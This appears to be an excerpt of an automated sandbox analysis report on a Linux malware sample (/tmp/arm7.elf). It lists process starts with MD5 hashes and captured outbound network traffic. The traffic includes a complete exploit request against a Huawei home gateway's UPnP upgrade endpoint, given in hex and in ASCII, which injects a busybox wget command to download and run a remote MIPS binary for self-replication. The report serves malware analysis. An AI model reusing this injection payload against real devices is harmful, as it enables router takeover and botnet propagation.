76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:13:49.044034958 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Start time (UTC):	02:11:45
Start date (UTC):	17/03/2024
Path:	/tmp/arm7.elf
Arguments:	/tmp/arm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	02:11:46
Start date (UTC):	17/03/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Start time (UTC):	02:11:48
Start date (UTC):	17/03/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Start time (UTC):	02:11:50
Start date (UTC):	17/03/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Start time (UTC):	02:11:52
Start date (UTC):	17/03/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1